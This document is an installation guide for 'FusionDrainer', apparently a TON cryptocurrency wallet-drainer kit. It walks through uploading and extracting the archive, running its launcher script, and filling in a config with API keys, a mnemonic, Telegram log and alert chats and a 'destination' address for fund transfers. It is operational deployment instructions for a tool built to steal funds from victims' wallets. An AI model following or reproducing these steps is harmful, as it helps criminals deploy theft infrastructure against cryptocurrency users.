Server Installation
1. Uploading the FusionDrainer Archive to the Server
- Open Termius and connect to your server.
- Use the SFTP client in Termius (select your server and click the file manager icon).
- In the SFTP client, find the file fusion-drainer-main.zip on your computer.
- Drag and drop the fusion-drainer-main.zip archive onto the server in the directory where you want to install FusionDrainer (e.g.,
/root
).
2. Extracting the Archive and Navigating to the Folder
In the Termius terminal, run the following command to extract the archive:
bashunzip fusion-drainer-main.zip
Navigate to the extracted folder:
bashcd fusion-drainer-main
3. Granting Execution Permissions
To run the installation script, execute the following command:
chmod +x runner.sh
This will grant the necessary permissions to execute the runner.sh script.
The script will not run without this command.
4. Renaming the Configuration File
- In the SFTP client in Termius, locate the file config.example.yaml.
- Right-click the file and choose "Rename".
- Rename the file to config.yaml.
5. Configuring the config.yaml File
Next, you need to configure the config.yaml file.
- In the SFTP client in Termius, right-click the config.yaml file and select "Edit".
- Modify the following parameters:
API Settings:
api:
base_url: "https://example.com" # Insert your base URL (e.g., https://yourdomain.com)
Telegram Bot Settings:
telegram:
bot_token: "123:XXX..." # Insert your BotFather token
fallback_logs_chat_id: "-1234567890" # Insert the chat ID for logs
system_alert_chat_id: "-1234567890" # Insert the chat ID for system alerts
whitelist:
- 123456789 # Important: Ensure the "-" symbol is present before each user ID
TON API Settings:
ton:
tonCenterKey: "..." # Insert your TON Center API key
tonApiKey: "..." # Insert your TonAPI key
mnemonic: "soup soul plug ..." # Insert your mnemonic phrase for managing smart contracts
destination: "UQ..." # Insert the address for fund transfers
After making the changes, save the file.
6. Installing and Launching FusionDrainer
Once the configuration file is set up, you can install and launch the server:
In the Termius terminal, run the script to launch the server:
bash./runner.sh
The script will perform the following tasks:
- Install Docker if it is not already installed.
- Launch all necessary containers for the server to operate.
💡 Tip: Do not interrupt the installation process to avoid potential issues.
The FusionDrainer server is now installed and ready to use.
After installation, ensure that the configuration settings, including API keys, are correct.